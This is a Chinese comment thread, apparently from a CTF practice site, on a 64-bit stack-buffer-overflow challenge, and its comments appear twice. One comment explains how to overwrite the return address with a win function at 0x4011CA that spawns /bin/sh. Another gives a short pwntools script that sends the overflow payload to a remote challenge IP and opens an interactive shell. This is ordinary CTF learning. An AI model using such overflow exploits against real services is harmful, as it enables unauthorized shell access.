ida中打开,64位的程序,发现一个128长度的buffer有堆栈溢出漏洞;还有一个win函数,里面有一条执行/bin/sh的指令,指令地址是0x4011CA。接下来要做的就是构造一个128+8+8字节长度的payload,128字节填充buffer,8字节填充执行gets时压栈的buffer指针,最后8字节写int64(0x4011CA)即下条指令位置。 调用gets时堆栈状态: |----
这题真恶心,要不是kali报错,我都不知道我pwn进去了,打通之后ls查看没内容,必须cat flag,什么都没显示出来后,在输入ls才看到flag,我真服了,还不是根目录。
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
from pwn import* io = remote('82.157.146.43',?) payload=b'p'*0x88+p64(0x4011CA) io.send(payload) io.interactive() 用这个程序肯定没问题,就看你在kali中怎么执行操作了。这题真勾八
...
评论
nil126 4月前
举报
ida中打开,64位的程序,发现一个128长度的buffer有堆栈溢出漏洞;还有一个win函数,里面有一条执行/bin/sh的指令,指令地址是0x4011CA。接下来要做的就是构造一个128+8+8字节长度的payload,128字节填充buffer,8字节填充执行gets时压栈的buffer指针,最后8字节写int64(0x4011CA)即下条指令位置。 调用gets时堆栈状态: |----
dongwenjia 9月前
举报
这题真恶心,要不是kali报错,我都不知道我pwn进去了,打通之后ls查看没内容,必须cat flag,什么都没显示出来后,在输入ls才看到flag,我真服了,还不是根目录。
怪我喽 9月前
举报
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
怪我喽 9月前
举报
from pwn import* io = remote('82.157.146.43',?) payload=b'p'*0x88+p64(0x4011CA) io.send(payload) io.interactive() 用这个程序肯定没问题,就看你在kali中怎么执行操作了。这题真勾八